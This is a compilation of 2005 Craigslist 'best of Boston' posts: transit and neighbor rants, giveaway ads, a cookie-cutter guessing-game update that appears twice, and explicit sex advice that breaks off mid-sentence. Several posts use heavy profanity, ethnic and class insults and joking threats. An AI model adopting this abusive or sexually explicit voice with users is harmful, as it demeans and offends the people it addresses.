- You’re only going a couple of stops - You’re polite about letting someone slide into the inside seat Unless you take a moment to say something to that effect, you register, far as I’m concerned, right up there with the brain surgeons who: - Give someone else shit for having the gall to ask to slide into the inside seat - Uses the other seat for their bag – though I can sort of see how TIRED a backpack can get after a long day. Students. I’m not gonna go there. I’m not that masochistic. But I had to at least give an honorable mention. Metrosexuals and Perfume Queens. You know the moment you see them on the green line: they will get off at either Copley (more likely) or Arlington. Their Burberry scarves match their Burberry purses. They are coiffed, curled, and have performed the swan sashay, as they do each morning, through their favorite designer perfume or cologne, respectively. They are off to their important offices and will take breaks at lunch time for shopping in all the right places and nibbling on salads or sushi. They only ride the T because their Range Rover or Saab is in the shop. They give each other a knowing nod and ride in the blissful silence provided by their Ipod Nanos while checking messages on their Blackberrys or Sidekicks. Angry musicians. Picture it: Boston, 2005. A kid with a guitar case, a purse covered in 1980 punk wanna be patches and pins, and/or dressed all in black with striped stockings, a streak of pink in his/her hair, and a forlorgn, “Nobody understands my pain” look in their eyes. You bet your sweet ass – 9 times outta 10 – that kid is going to get off at Hynes. Dream big, guys. Dream big. IAMVERYIMPORTANTBUSINESSMANOUTOFMYWAY Types. Similar to the aforementioned metrosexuals, but these guys are SO important that they don’t really have time for all that primping and fussing. They’re more likely to be enveloped in the legal brief which they just HAVE to show you they’re working on, as they clutch their leather briefcase or the complimentary bag that came from the latest company convention in Palm Springs. Step aside for these cats. They’re veryimportant. Babies/Kids/Toddlers. Another taboo I ain’t gonna touch – except to say ADMIT IT, gentle readers. A kid on the T is like a kid behind you on an airplane… only worse. The same because it means that there’s a good chance there will be squealing, squirming and possibly kicking on your seat from behind. Worse because unlike on a plane, not only might they sit near you, the mere fact that they come on to the train may be cause for you to give up that precious seat you elbowed the angry musician kid for three stops ago! It’s rough, guys. Rough, I tell ya. But you’re NOT gonna be the guy who doesn’t give up your seat for a kid or elderly person (that’s all I’m gonna say about that one, too). Gum Snappers. People, what the FUCK? This is NEVER a good idea. Never something others around you think, “WOW. How’d she do that? I’m going to have to stock up on some Bubble Yum and practice that.” But to do it on a crowded train? You best just hope you’re not seated near me. You will receive the death by glare glare. Not that you’d notice or care. But sometimes that’s all I can offer. Loud Talkers. Listen to me. Shhhh…… listen…. Remember what we learned when we were 3? That magic phrase “Let’s use our INSIDE VOICES”? Take a hint. I don’t want to know about your ex’s hernia. I don’t want to know that Hilda from 9-C makes a great jello mold. I don’t want to know that you’re running late for work (not even if you yourself happen to be a veryimportantbusinessman). SHUT THE FUCK UP and enjoy the ride and let others do the same. You might miss an important announcement if you don’t pay attention and wind up being that guy who sits on a train glancing around blankly wondering why everyone else got off the train. (“Last stop” means last stop. Just a head’s up.) I don’t know about you, but I feel better. See you on the rails. webmaster@craigslist.org 2005-12-22T12:02:02-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/119922846.html Classic Moments / Characters of the T: A Rant for the Season text Updated Post: Guess the Item and It's Yours! http://www.craigslist.org/about/best/bos/119559400.html A week ago, we posted this mystery item on CraigsList, offering it to whomever could convincingly identify it. There was such overwhelming interest in the item that I felt compelled to post an update, so I'm glad to announce that we've chosen a winner. The original post is shown below, followed by the tabulated results and the winning entry. <hr> <img src="119559400.1.jpg"> A rocketship? A submarine? A sea horse? Regardless of what the real shape of this cookie-cutter is, it stamps out some pretty damned fine sugar cookies. Other suggestions for the shape include a woman's shoe, a pregnant whale, an airplane, and a shark. But honestly, we aren't convinced by any of these. So submit your own suggestion, and if we think you've figured it out, this superbly crafted copper cookie-cutter is yours! It's possible that a few extra bends have been introduced to the original shape, but close inspection reveals that it looks pretty deliberate. <img src="http://www.robjagnow.com/cl/IMG_8629.jpg"> <img src="119559400.2.jpg"> Hand a batch of these fresh-baked cookies to some precious ankle-biters, and the kiddies will have a great time using their imaginations to decorate the mystery shapes. Just the cure for a world where the television has supplanted old fashioned creativity. Guess the shape and it's yours! Pick-up is available between Davis and Porter Square in Somerville. (Fresh baked mystery cookies not included.) <hr> Based on the 75 responses that this generated, we apparently weren't the only ones who couldn't figure it out. Several participants were absolutely convinced of the veracity of their answers, and others included supplemental documentation, including annotated drawings and links to various cookie-cuter shapes found on the web. All in all, the flood of responses offered comforting reassurance that I'm not the only one who wastes my time this way. Here are the most popular replies, including the number of votes for each item. <ul> <li>(5) rooster (including two votes for Foghorn Leghorn) <li>(5) woman's shoe (e.g., cinderella's glass slipper) <li>(4) chicken <li>(4) seahorse (pregnant, with an afro) <li>(4) heart (including a "total eclipse of the heart" and a grilled, pounded heart of a South Polynesian water snake) <li>(3) submarine (including The Beatles' Yellow Submarine) <li>(3) walrus (with a crown) <li>(3) whale (pregnant, farting) <li>(2) bird <li>(2) manatee <li>(2) airplane <li>(2) The Hindenburg, mid-crash </ul> Oh yes. That's right. TWO morbid people submitted the Hindenburg in its final moments. Charles and Hillary, I hope you're both single because you're meant for each other. Other, less popular entries include: <ul> <li>(1) clown shoe <li>(1) elf shoe <li>(1) one of the three wise men <li>(1) New Jersey <li>(1) beret <li>(1) angel (holding a hymn book) <li>(1) dog <li>(1) pregnant sea monkey <li>(1) hovermobile <li>(1) Peru <li>(1) rocketship <li>(1) shark <li>(1) blimp <li>(1) elephant inside a boa constrictor <li>(1) ghost <li>(1) fish <li>(1) sword <li>(1) snowman on the run <li>(1) Popeye's arm <li>(1) penguin <li>(1) Corvette <li>(1) cookie cutter (Gee, thanks) <li>(1) Venus de Milo <li>(1) ballerina slippers <li>(1) Aeolus, the wind god <li>(1) Fred Flintstone <li>(1) dancing ballerina hippopotamus <li>(1) lobster claw <li>(1) Alfred Hitchcock's head with a backwards hat, compacted <li>(1) flower petal <li>(1) bunny ear <li>(1) gloved hand holding a snowball wearing a watch <li>(1) pregnant mermaid <li>(1) chipmunk <li>(1) Indian peace pipe <li>(1) lung <li>(1) wing </ul> And one of my personal favorites... <ul> <li>(1) one of Texas' new voting districts, courtesy of Tom DeLay </ul> And finally, our winner submitted not only an entry, but an accompanying illustration with undeniable resemblance to the mystery cookie cutter. And the winning answer is... a penguilla, half penguin, half gorilla! I think Jamie's picture leaves no doubt in the mind of any reasonable person that we have definitively solved our mystery. <img src="119559400.3.jpg"> Thanks to everyone for playing. webmaster@craigslist.org 2005-12-20T17:50:13-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/119559400.html Updated Post: Guess the Item and It's Yours! text Updated Post: Guess the Item and It's Yours! http://www.craigslist.org/about/best/bos/118150264.html A week ago, we posted this mystery item on CraigsList, offering it to whomever could convincingly identify it. There was such overwhelming interest in the item that I felt compelled to post an update, so I'm glad to announce that we've chosen a winner. The original post is shown below, followed by the tabulated results and the winning entry. <hr> <img src="http://www.robjagnow.com/cl/IMG_8626.jpg"> A rocketship? A submarine? A sea horse? Regardless of what the real shape of this cookie-cutter is, it stamps out some pretty damned fine sugar cookies. Other suggestions for the shape include a woman's shoe, a pregnant whale, an airplane, and a shark. But honestly, we aren't convinced by any of these. So submit your own suggestion, and if we think you've figured it out, this superbly crafted copper cookie-cutter is yours! It's possible that a few extra bends have been introduced to the original shape, but close inspection reveals that it looks pretty deliberate. <img src="http://www.robjagnow.com/cl/IMG_8629.jpg"> <img src="http://www.robjagnow.com/cl/IMG_8631.jpg"> Hand a batch of these fresh-baked cookies to some precious ankle-biters, and the kiddies will have a great time using their imaginations to decorate the mystery shapes. Just the cure for a world where the television has supplanted old fashioned creativity. Guess the shape and it's yours! Pick-up is available between Davis and Porter Square in Somerville. (Fresh baked mystery cookies not included.) <hr> Based on the 75 responses that this generated, we apparently weren't the only ones who couldn't figure it out. Several participants were absolutely convinced of the veracity of their answers, and others included supplemental documentation, including annotated drawings and links to various cookie-cuter shapes found on the web. All in all, the flood of responses offered comforting reassurance that I'm not the only one who wastes my time this way. Here are the most popular replies, including the number of votes for each item. <ul> <li>(5) rooster (including two votes for Foghorn Leghorn) <li>(5) woman's shoe (e.g., cinderella's glass slipper) <li>(4) chicken <li>(4) seahorse (pregnant, with an afro) <li>(4) heart (including a "total eclipse of the heart" and a grilled, pounded heart of a South Polynesian water snake) <li>(3) submarine (including The Beatles' Yellow Submarine) <li>(3) walrus (with a crown) <li>(3) whale (pregnant, farting) <li>(2) bird <li>(2) manatee <li>(2) airplane <li>(2) The Hindenburg, mid-crash </ul> Oh yes. That's right. TWO morbid people submitted the Hindenburg in its final moments. Charles and Hillary, I hope you're both single because you're meant for each other. Other, less popular entries include: <ul> <li>(1) clown shoe <li>(1) elf shoe <li>(1) one of the three wise men <li>(1) New Jersey <li>(1) beret <li>(1) angel (holding a hymn book) <li>(1) dog <li>(1) pregnant sea monkey <li>(1) hovermobile <li>(1) Peru <li>(1) rocketship <li>(1) shark <li>(1) blimp <li>(1) elephant inside a boa constrictor <li>(1) ghost <li>(1) fish <li>(1) sword <li>(1) snowman on the run <li>(1) Popeye's arm <li>(1) penguin <li>(1) Corvette <li>(1) cookie cutter (Gee, thanks) <li>(1) Venus de Milo <li>(1) ballerina slippers <li>(1) Aeolus, the wind god <li>(1) Fred Flintstone <li>(1) dancing ballerina hippopotamus <li>(1) lobster claw <li>(1) Alfred Hitchcock's head with a backwards hat, compacted <li>(1) flower petal <li>(1) bunny ear <li>(1) gloved hand holding a snowball wearing a watch <li>(1) pregnant mermaid <li>(1) chipmunk <li>(1) Indian peace pipe <li>(1) lung <li>(1) wing </ul> And one of my personal favorites... <ul> <li>(1) one of Texas' new voting districts, courtesy of Tom DeLay </ul> And finally, our winner submitted not only an entry, but an accompanying illustration with undeniable resemblance to the mystery cookie cutter. And the winning answer is... a penguilla, half penguin, half gorilla! I think Jamie's picture leaves no doubt in the mind of any reasonable person that we have definitively solved our mystery. <img src="http://www.robjagnow.com/cl/penguilla.jpg"> Thanks to everyone for playing. webmaster@craigslist.org 2005-12-14T12:54:18-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/118150264.html Updated Post: Guess the Item and It's Yours! text Tips for students living on beacon hill http://www.craigslist.org/about/best/bos/118031281.html welcome to beacon hill! congratulations on living in one of the oldest, most beautiful neighborhoods in america! as someone planning to live here year-round on a more-or-less permanent basis and as someone who was dumb enough to actually BUY my apartment, i would like to share some of my accumulated neighborhood wisdom with you all. but before i get to the tips, there is something you should all know. all homeowners on beacon hill REALLY HATE YOU. (i, personally, dont hate all of you: that girl who was in the bh market the other weekend - low low sweatpants, sweet belly ring, sleepy eyes and tangled hair - you i like.) the good news is, we don't hate JUST you. naw, that'd be mean. we hate, in descending order, YOU, YOUR PARENTS (those peabrains who are so fucking soft in the head and apparently thick in the wallet that they are willing to pay good money for you to infest this neighborhood), and lastly, YOUR LANDLORDS (who bought your place in 1966 for like $5,000 and have since put $0 into its upkeep and are willing to rent to pretty much anyone; DIE SOON, PEOPLE, WOULDJA? let junior sell the place, c'mon). on to the tips: 1) TRASH. trash days are MONDAY, WEDNESDAY, and FRIDAY. notice i have excluded some days. ask your teacher which ones if this is unclear. it is NOT acceptable to place your trash outside on these OTHER DAYS. also, please place your trash in ACTUAL TRASH BAGS (you know, those big black plastic things your Dad used; you can BUY these with MONEY at the hardware store on charles street). little fucking handle shopping bags from generica places like pottery barn or banana fucking republic or wherever are not a substitute. we don't want to look at all your shit flying all over the neighborhood, nor do we want all your bud light cans rolling down the street. also, permit me to point out that it is also unacceptable to DROP YOUR TRASH FROM YOUR APARTMENT WINDOW to the curb. [sigh] i REALLY shouldn't have to point out the obvious, but this advice is based on things i've actually witnessed. 2) PETS. ask yourself: have i ever shouted "WOOHOO" at the top of my lungs past midnight on a thursday evening in an otherwise perfectly quiet neighborhood? did i feel cool afterward? did my friends think i was cool, too? then you may not have a pet. if you insist on having a pet, at least pick a cat and keep it inside. "but i'm like, mature, n stuff. cant i, like, git a dog?" No. You may not. OK, so you got a dog. [sigh] when you walk it is NOT OK for it to go on the sidewalk. we're talking EITHER #1 OR #2 here people. and for fucks sake, please PICK UP THE #2 and TAKE IT AWAY. this ain't Paris, folks. "but i luvs them flag-wavin' surrender monkeys. cain't this be Paris?" No. it cannot. and if i see some of you pulling the ol' Dump N Run, believe me i am not above picking it up and flinging it at you from close range like a real monkey. seriously. grow the fuck up. 3) CARS. don't bring one. as i mentioned, we already dont like you, so parking your fucking camaro or whatever for weeks at a stretch does nothing to further endear you to the community. have mommy drop your ass off. evidence shows your parents are not exactly overburdened in the brainbox anyway, so OK, naturally you brought your fucking car. i guess you had to get here from west bumbfuck somehow. OK. deep breath. LEARN TO FUCKING PARALLEL PARK. six inches from the curb is about the MOST you should be. practice. bang up your neighbors' cars in west bumbfuck. also, MOVE YOUR FUCKING SHITBOX ON STREETCLEANING DAYS. i swear to god, the police should just bash everyones' cars with a baseball bat instead of handing out those pussy tickets. the irony is, ITS YOUR FUCKING TRASH THEY'RE TRYING TO CLEAN UP. not only did you put it there, you're keeping them from picking up after you. you think this is a fucking game, dont you. let's see. what other gems do i have for you. 4) BICYCLES/SCOOTERS. not much to say here, other than any guy with a scooter clearly has some masculinity issues and should seek therapy. oh, i know what i wanted to mention. those pretty wrought-iron fences around the trees we have here? and the quaint gas-burning streetlights? and the few living trees we have here? DONT LOCK YOUR FUCKING PIECE OF SHIT BIKE TO THEM. THEY ARE NOT BIKE RACKS, PLACED HERE FOR YOUR FUCKING SCHWINN, OKAY? i'm gonna get me one o them really big skilsaw things and go around the entire hill and free all the trees and fences and lampposts (i may have to practice an extra bit on the scooters i find - handlebars? what handlebars?) so, to summarize: trash: bags. monday. wednesday. friday. only. pets: don't. cars: don't. bikes: inside. scooters: don't. woohoo: don't. webmaster@craigslist.org 2005-12-13T21:58:44-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/118031281.html Tips for students living on beacon hill text Rant: From a Pepper Loving African Girl http://www.craigslist.org/about/best/bos/117118185.html Listen when I say I want extra wasabi, I mean EXTRA WASABI! If I thought it was enough I wouldn't have gone the extra mile to ask you for more. And don't try to give me guilt about it, just how much do you think that little extra green glob cost?? And I hate all you fucking ignorant Anna Tacqueria workers. Look you guys don't know shit about us west Africans so just shut up and give me my fucking Jalapeños when I ask for them, GOD DAMNIT!! What, do you guys think Jalapeños ARE HOT?!! Shut up, even white people don't. JALEPENOS? That's the hottest pepper you have? Okay then I'm going to need a lot of them, come on, keep going. Yeah, I see you brown skinned, non-African motherfuckers smirking at me in the corner. What, you think I'm too gringo to eat that? What is it, my American accent? The fact that I only weigh 112lbs? That I'm a girl? Hey I've been downing hot pepper since the womb people, the WOMB. I could eat all the tasteless, weak, Jalapeños you have. YOU DON'T KNOW ME. So I'm already pissed walking out of Anna's that those are the hottest peppers those dumbstruck motherfuckers have and when I get home what do I find?? NO FUCKING JALAPENOS. OH HELL NO! I. DID NOT. JUST WALK. FOUR (4). BLOCKS. To your fucking gringo-ass Brookline store (in this Eskimo ass climate mind you!) to be robbed of my peppers. MAN WHERE THE FUCK ARE THEY?! WHY GOD, WHY??! “DID I NOT ASK SPECIFICALLY FOR Jalapeño?!” That's right, you in the corner, where's my motherfucking pepper-no don't try to sneak away to the back, don't you dare walk away from me! Don't look at me all stupid and big eyed either, I saw you put some on then disappear into the back and when I got home, none, nada (man...if I wasn't on my cell phone..)! NO JALAPENOS! WTF! You switched my burrito didn't you, or threw them away, ate them up or something. YOU DID SOMETHING BACK THERE! Now listen up, come right up to my light skinned, big eyed, long eyelashed, fucking high cheekbone, big nosed Liberian face. Put ALL THE FUCKING Jalapeños YOU HAVE ON MY BURRITO! No IT “AINT ENOUGH”, IT AINT ENOUGH UNTIL I SAY SO! AND DON'T worry about those other hoes in the line, FUCK YOU; you're the one that fucked up, you fucked up all this shit when you fucked up my burrito. Hell yeah, its HALF EATEN, don't even remind me, DON'T EVEN GET ME STARTED on the first excruciating half of the fucked up, tasteless burrito that YOU made!! That's right FUCK YOU AND YOUR FUCKING RESTAURANT I'M NOT COMING BACK, you fucking ignorant, just off the boat, dying to be FUCKED UP FUCKING Americans!! Also, to every supermarket worker: JUST LET ME GET MY PEPPERS IN PEACE MAN. No I don't want to answer any of your annoying questions-where I'm from, why I'm dumping the ENTIRE basket of Habenero in my shopping bag, and etc. (What you don't have more in the back?? I can't believe this shit). That is why I've made all you guys little cards, which I plan to hand out to you all silent faced, seriously this is serious shit. 1.Liberia. YES FOR TRUE TRUE, formerly and/or still THE WORLDS MOST DANGEROUS COUNTRY. Hint: GET THE FUCK AWAY FROM HER. 2. Yes I'm quite aware it's the hottest pepper in the world. 3. Yes, I know what I'm doing dimwit. No I just asked you particularly for the ORANGE and hottest breed of THE Habenero pepper because I have no fucking clue. 4. I freeze them because I know I cannot live a SINGLE DAY without pepper and do not want to flip shit when Habenero suddenly disappears from every market in Boston's vicinity. 5. Pepper soup, Palmbutter stew, fu-fu, listen you don't even have any idea what this shit taste like and, as you can see from my hurried pepper picking hands, I don't have the time to explain, besides don't you have new produce to tag? And guys at work, listen, because I'm just trying to thrive in this motherfucking country as a pepper loving Liberian girl I have to try to eat its tasteless food every once in a while so when I do YOU BET Tabasco's going to be all over my pizza. So to all of my coworkers and former coworkers out there and those who might experience me while at a restaurant: mind your own business and don't stare while I pepperize, that's just rude! I know you like me but you don't have to sit here! YOU DON'T AND NEVER HAVE HAD TO EAT LUNCH WITH ME. I'm quite fine eating lunch by myself, in fact, I PREFER to eat lunch by myself. If I want to dump half a bottle of Tabasco on my chicken sandwich, I will. You aren't eating it and this way I can pretty much count on never having to share. So look the fuck away. I love you guys, you're funny and interesting, you can handle more than two beers, but I love pepper a whole lot more. So sorry, but this sandwich is too good right now. webmaster@craigslist.org 2005-12-09T23:32:55-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/117118185.html Rant: From a Pepper Loving African Girl text 450ish square feet of fresh awesome sod. FREE! http://www.craigslist.org/about/best/bos/116189898.html I know, you've read the headline for this ad and you're thinking, did the Holidays come almost THREE WEEKS EARLY this year?! And my answer to your question would be a resounding, WHAT DO YOU HAVE AGAINST CHRISTMAS, HEATHEN?! And then I would add, "But um, yes, in answer to your question, the holidays ARE early this year!!" My name's Jason, and I'm in a theatre company called 11:11. (Hey, do you act? We need people: www.1111theatre.com. Moving on...) Our recent show took place in Boston, and we really wanted to transport the audience into our fair city. You can imagine then, staging our show in a giant concrete pit in Midway Studios in South Boston presented a challenge. So you can also imagine our delight when we walked in one day to find 21 Foot Square (450ish square feet) of sod sent by some heavenly observer. "Look!" our director exclaimed with glee, "Look at all that beautiful sod! I feel as though I have been transported to Boston Commons! Look! Can't you all see the swans swimming merrily along?" "Yes!" we exclaimed! "We can see them in our minds, for this grass is so evocative!" And we jumped up and down for joy and wrestled in the grass and we had a picnic. Life was good. But then that sod died and we had to get new sod for our second run of the show. So the original heaven-sent sod has been taken care of - read: thrown in a dumpster - and now we have our store bought sod that we paid 170 dollars for. The show is over and now we don't know what the hell to do with 450 square feet of sod. Do you want it? You can have it, and for FREE! Just think of all the incredible things you could do with your very own 450 square feet of (FREE) sod!(!!!) - You could have the world's smallest Arena Football field! Right in your very own home! - Finally, you can recreate scenes from a Midsummer Night's Dream! (Please note: donkey's head not included with this sod) - Cover up that dead body in the back yard! - Tell your pothead friends, hey, I have some grass at my place, wanna smoke? And then they'll all come over and you'll point to the sod and say, "There's the grass, suckas!" - Too lazy to pick up your animal's poop? Cover it with some sod! No one will ever know! - Winter got you down? Need to hold on to some semblance of spring before Seasonal Affective Disorder drives you madder than your drunken stepmom? Just lay down some sod on that mound of snow and feel your crushing depression melt away! The possibilities are endless! Believe me - I cut 20 different scenarios from this ad to save you time! In short, this sod will rock your socks off, and sock your rocks off. I have no idea what that means. So won't you come take it, this sod we don't know what to do with? We just laid it down this past Friday, so it's still fresh. It's free - FREE! - you just have to cart it away. What you do with it then is your business. (But if you are recreating Midsummer Night's Dream, you should tell us, we're a skilled troupe). Thanks, Jason webmaster@craigslist.org 2005-12-06T11:55:55-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/116189898.html 450ish square feet of fresh awesome sod. FREE! text Why I have to cancel my flight for Thanksgiving http://www.craigslist.org/about/best/bos/110108944.html Hypothetically let’s say a person is wound a little tight and has been rather bitchy lately. I would say that is understandable knowing that she was robbed, and then lost the rest of her belongings in Hurricane Katrina and is now staying in the home of strangers for three months while she attends school in Boston- a city where she knows no one – but that’s just me (you might disagree). So lets say (still hypothetically) that she was mad at the world and an ex-boyfriend (good for nothing bastard) so she came home to let off a little steam. Now I will remind you she is living in a house full of strangers who have graciously opened their home to her. She been here long enough to know that she will be alone in the house for a few hours. So out comes BOB (thank god that she remembered to bring her battery operated boyfriend when she fled from the hurricane – really what else is there to do? Watch weather channel people try to stay upright in wind and rain???) So she gets down to business. She’s half nekkid at this point and starting to make a little noise (who’s home to listen?) when the bedroom door swings open. It was the #*&%#* cat investigating the racket coming from the room. She thought about ignoring him ,but he was sniffing around a little closely for her comfort so she shoo’d him out of the room and got up to shut the door. Now, being half nekkid as she was, it was a little difficult to walk in jeans pushed down to her knees. So she stumbled and knocked over her bookbag, tripping into the door which shut with a slam and stepped on said bookbag and it’s splayed contents on her way back to the bed. She made herself comfortable and got back down to business. Well, I think I mentioned that she was kind of stressed out so it took a while before she was thrashing about, but getting there is half the fun right? Might as well stop to do a little spanking and nipple twisting and dirty talking along the way, right? As her the sound of her beating heart fades from her ears, she hears a weird muffled sound. She sits up, looking around – it sounded like talking, imagine that. There is was again! WTF? And then, OH FUCK!!!!! as realization dawns. In her haste to get back to the bed, she has stepped on her cell phone causing it to activate one of it’s speed dial numbers that just so happened to be under her heel. She dives for the phone, to hear “You message has been sent, thank you.” She frantically presses buttons in hopes that it was all a mistake, but no. Her call log reveals that she has left a 17 minute message on her father’s voicemail. Can you say OMG? There’s no chance of him not knowing where it came from, he has caller ID. What to do now? So she calls his cell phone, to tell him not to listen to the message. She’s gotta get to him quick before he plays it, but she needs a second to think up a reason why he shouldn’t play it. He answers. Him: What’s up? How are you? Her: Oh fine, fine. How are YOU? Him: Hang on a second, I just have to get a voicemail. Her: Dad, wait. I think that was from me. Just delete it. Now. I got what I needed already. [brilliant line if I say so myself] Him: OK. Hang on, how do I delete again? No that’s not it. Wait that was the speakerphone…Is it 3 or 7? Then from the phone (undeniable in her voice): Mmmmmmm. Ohhhhhhhhhhhhhhhhhhhhhhhhhh. Oh god, yes. YES! YES!! YYYEEEESSSSSSS!!!! And that it why she can’t go home for Thanksgiving (and probably Christmas). webmaster@craigslist.org 2005-11-09T18:44:38-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/110108944.html Why I have to cancel my flight for Thanksgiving text Seriously? Operating a table saw at 4am? http://www.craigslist.org/about/best/bos/108904851.html Dear Neighbor, When I went to sleep last night at 11pm. Nay, when I went to bed last night at 11pm I heard, very clearly, the intermittent hammering coming from your basement, 15 feet and a privacy fence away. Can’t say that I was pleased, but I had no idea the Black & Decker nightmare you had in store for me. I managed to drown out the sound of the hammer long enough to drift off to sleep, alas I was awakened at 4 am by the sound of a… what’s that? No, it can’t be. A table saw? Sir, I am a general contractor’s daughter and know, make no mistake about it, what a table saw sounds like. I was also able to identify a high-powered (bordering on a dentist’s wet dream) drill you insisted on using when you weren’t busy with the aforementioned hammer or table saw. And while I am certain it’s not your fault that I left a shoe in the middle of my own floor, I place the blame squarely on your shoulders, fair neighbor, for the gaping head wound (thank you window sill corner) and concussion I suffered when I went ass over apple carts across my bedroom in an effort to find out just what the hell was going on over there. Maybe it’s the concussion, could be the sleep deprivation, but here are the thoughts that went through my mind over the course of the next THREE HOURS (I didn’t call the police because I fear, above all else, turning into my mother): 1. You’re building a dungeon. Power tools in the middle of the night? Creepy old house? Basement? Tell me did you already have your victim chloroformed in the corner, or are you still just stalking her? And for the record, I will not be putting any lotion on myself or in any basket. And I will eat Precious just as soon as look at her. Period. 2. You’re building a better mousetrap. Or maybe just the biggest mousetrap EVER. Or quite possibly 9,000 better mousetraps, at the regular size. 3. You’re building a popsicle stick Taj Mahal. Gentle neighbor (I saw your sensitive ponytail), I think we can all sympathize with the panic that ensues when one has completely spaced a school project due first thing the next morning. But I have to admit that I think using a table saw for balsa wood is overkill. What? Your index fingers and thumbs weren’t strong enough to break the sticks in half? Then I don’t think you have the dexterity necessary to safely use a table saw, drill, hammer or, for that matter, a remote control. 4.You’re building a Y2K bunker. It’s 2005, I think you’re safe. But the strangest thing you did was this morning at 8 am. While in the shower I heard you yell at your dog to be quiet. Huh? My conclusions are as follows: You’re a hearing-impaired, insomniac, do-it-yourself imbecile with no concept of irony. This does not bode well for the life of our neighborly arrangement. However, if that dungeon has my name on it, I may have bigger hurdles in front of me than a few bags under my eyes. webmaster@craigslist.org 2005-11-04T15:40:22-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/108904851.html Seriously? Operating a table saw at 4am? text New rules for Halloween candy giving http://www.craigslist.org/about/best/bos/108051232.html So, I've always really loved Halloween. I remember being very excited about going out to get candy when I was little and I enjoy seeing the small children dressed up in cute costumes. I'm a female in my twenties- it wasn't even that long ago! Sadly, last night, the trick-or-treaters that came to my home killed what little Halloween spirit I had left. I'd like to set up some ground rules for next year (and I direct this primarily at the older trick-or-treaters). Bring it on. I'll be waiting. No "trick or treat" when I open the door? No candy. This is a very important part of trick or treating. It seems that the older the trick-or-treater, the slimmer the chance of being greeted with this. You see, the "trick or treat!" is just a polite way of saying, "Give me some freakin candy!" If getting dolled up in a costume at your age is still cool, then why don't you just go that extra yard and say it? I doubt it'll damage your rep any more than being 16 and standing on my doorstep in a "dead cowboy" costume. No "thank you"? I'm reaching in your bag of treats and retrieving my candy, in addition to anything else I can grab. No costume? Kiss my butt and get off my property or I will shoot you with a potato gun. Dressed like a "gangster?" How stupid do you think I am? I KNOW you're in your street clothes. Shouldn't you be knocking over a candy store? To the group of late-teenage(how old were you? 16, 17?) Paris Hilton wannabes that pounded violently on my door AND rang the doorbell simultaneously: Did you ever see the movie "Problem Child II?" There's a scene where the doorbell is rigged to "pleasantly surprise" whoever rings it. I won't electrocute you, of course, but I promise that you won't be able to touch your STD infested boyfriends for a month without giving them an electric shock. Ask me if you can have more than one piece? No. BUT- you can have zero. Over 13 years of age? No candy. How about some condoms so I don't have to hand out candy to your own children over the next couple of years? I thought so. Yes, you can take more than one. :::Sigh::: ahhh. Feels good to get that off my chest. Damn you and your idiocy, all of you trick-or-treaters from last night. Now i'm feeling jaded and disillusioned. I hope the Christmas carolers are serving up something good this year. Disclaimer: To all of the small children and those rare few that were polite and in keeping with the spirit of Halloween- You can come back next year. I promise you won't be harmed, taunted, or emotionally scarred in any way. webmaster@craigslist.org 2005-11-01T09:56:47-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/108051232.html New rules for Halloween candy giving text Hello, a girls point of view http://www.craigslist.org/about/best/bos/101715686.html Note that I received this wonderful piece in one of those pass-around emails, and I am not the original author. I just knew that this had to be posted. Thankfully, I received an email from the original author! ; She has plenty more to say so please see her message and the link to her site at the very bottom! FELLATIO Ah, sucking dick. For the penis owner, it's a wonderful thing. For the mouth owner, it can also be a wonderful thing. Getting off and hearing/making somebody get off are both awesome, and when it's done conscientiously, it will be remembered and cherished for many many masturbatory sessions to come. Heh. Come. I just made a pun there. There are quite a few women, however, that have gone on a bit of a strike against the kind of gleeful and free head-giving days of yore. Often, I am confronted with angry males regarding this, and I always wind up giving the same advice. Here, you get it for free, and it's all anonymous and stuff. Put it into practice, and you'll be GOLDEN. Boys: 1) Landscape, please. You see, while there are loads of women who depilate their crotchal regions by razor, epilady (*shudder*), hot wax, and Nair, not so many guys do the same thing unless their genitals are on display for the whole wide world to see. This must be stopped. I'm not saying that it should ALL go away, and I understand that shaving one's scrotum is an endeavour NOT to be taken lightly, but a little pruning of the hedges is a really good idea. You see, hair comes out of its follicles at some very inopportune times. Having one of those mile-long pubes stuck to the roof of the mouth waaay in the back of the throat can cause a bit of consternation and there's no beverage in the world that can dislodge that little fucker. Since the lovely noise of "HAAAAUUUUULK!!!! CHHHHHHHHHHHUUUULLLLLLAAAAAK!" tends to be less than sexy (and sometimes shatters the mood), do your part to prevent this type of hairball-horking. You'll find that if you prune the hedges a tad, your Area will get much more attention. 2) Unless requested, do NOT put your hands on the back of your partner's head and push. Ditto that for entwining the fingers in the hair and doing same. We like it when you touch us, and usually our heads are the only thing within reach. Touch our face, grab our hair, whatever you like. The second that you push our heads onto your cock, however, some of us may have flashbacks to Unpleasant Experiences, and it may even be bad enough to cause us to put a stop to that fabulous suckjob you were just enjoying. Granted, if she says she wants you to throatfuck her, you go right ahead. But again, this is a *specific request*. If it is not made, just play nice and enjoy the ride. 3) A little warning, please! When you are going to shoot your load, it is The Law Of The Land that you inform us. If you do not, you risk being fired, being snowballed, or having other unspeakable things done to you. (Also, it is especially important that you do NOT shove the back of our head when you make this announcement. REALLY fucking important. Got it, Chief?) Talk to god or the FSM, say your partner's name in that sexy "oh-holy-shit" voice, but Let. Us. Know. It gives us time to decide if we're going to want it in our mouth, on our tits, in our hair, or shooting across the room to see if you can hit the wall this time. And it's polite. 4) It's NOT a Fine White Wine. A lot of boys talk to me about the fact that nobody ever wants to let the ejaculate in their mouth. "Why not???", they whinge. I'll tell you. The diet of the average penis-owner is fucking wretched, especially should you happen to be American as well. High sodium, loads of red meat and coffee, and just not nearly enough potassium. Your partner won't let you come in their mouth? Do yourself a favour, killer. Next time you're throwing the Spam Javelin and you get some shpoo on your hand, have a nice lick. (This only makes you gay if you lick somebody *else's* blooge, not your own. You're performing a scientific experiment. If it makes you feel better, say out loud in your best Dexter voice, "It's a BEEYOOTEEful day for science!") As a matter of fact, I double DOG dare you to do it. Now, would you want to give a mouthful of THAT to somebody who's being nice enough to you that they're going to suck your dick? Really. So...cut down on the salt intake, go for the chicken for a while, and no coffee. Have some nice pineapple juice, a 